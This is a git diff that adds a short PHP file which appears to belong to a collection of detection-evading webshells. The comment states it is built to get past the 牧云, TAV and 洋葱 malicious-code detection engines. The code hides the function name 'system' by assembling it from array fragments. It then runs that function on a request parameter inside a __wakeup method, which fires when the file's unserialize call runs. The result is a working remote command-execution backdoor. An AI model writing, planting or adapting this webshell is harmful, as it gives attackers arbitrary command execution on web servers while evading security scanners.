diff --git a/php/system2022-08-22-2.php b/php/system2022-08-22-2.php
new file mode 100644
index 0000000..481dddc
--- /dev/null
+++ b/php/system2022-08-22-2.php
@@ -0,0 +1,14 @@
+<?php
+//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
+class A{
+    public function __construct(){}
+
+    public function __wakeup(){
+        $b = $_GET[1];
+        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
+        $a = join($result);
+        Closure::fromCallable($a)->__invoke($_REQUEST[2]);
+    }
+}
+
+@unserialize('O:1:"A":1:{s:10:" A comment";N;}');